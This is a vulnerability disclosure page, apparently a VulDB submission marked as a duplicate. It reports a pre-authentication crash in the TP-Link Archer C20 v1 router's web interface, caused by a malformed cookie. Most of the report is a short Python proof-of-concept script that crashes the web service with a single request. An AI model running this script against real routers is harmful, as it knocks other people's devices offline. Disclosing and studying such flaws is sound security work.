| 제목 | Web crash found on TP-LINK（c20v1) router |
|---|
| 설명 | # Web crash found on TP-LINK（c20v1) router
## Overview of the Vulnerability
This vulnerability exists in the router version of TPLINK Archer C20v1(Firmware versionArcher C20_V1_141217，downloadlink:https://www.tp-link.com/us/support/download/archer-c20/v1/#Firmware). The vulnerability is related to the parsing of the cookie field in HTTP request packets. If a malformed cookie is parsed, it can cause the router to crash. Since this vulnerability occurs before authentication, an attacker can easily target the router without knowing the web service password. By sending just one malformed request, the router can be effectively disabled and the attacker may even gain control over it.
## Business Impact
The exploitation of the vulnerability is uncomplicated and could lead to indirect monetary damages for the organization. Such malicious actions may also harm the company's reputation by impacting the confidence of its clientele.
## Steps to Reproduce
I have attached the reproduced Poc code below. You only need to modify the web IP address of the target device to exploit the vulnerability and crash the program.
## Proof of Concept (POC)
After executing the POC script, then trying to visit the router web management interface(or 'telnet device_web_ip 80'), you will find web service goes down.
```python
import requests
import time
ip_address = '192.168.0.1'
headers = {
'Host': ip_address,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Cookie': 'Authorization',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
params = {
'url': f'http://{ip_address}/',
'method': 'GET',
'version': 'HTTP/1.1'
}
try:
response = requests.request(method=params['method'], url=params['url'], headers=headers, verify=False, timeout=0.1)
except requests.exceptions.RequestException:
pass
```
|
|---|
| 사용자 | a2ure (UID 41072) |
|---|
| 제출 | 2023. 03. 27. AM 09:56 (4 연령 ago) |
|---|
| 모더레이션 | 2023. 03. 27. PM 10:52 (13 hours later) |
|---|
| 상태 | 중복 |
|---|
| VulDB 항목 | 221552 [TP-Link Archer C50 V2_160801 Web Management Interface 서비스 거부] |
|---|
| 포인트들 | 0 |
|---|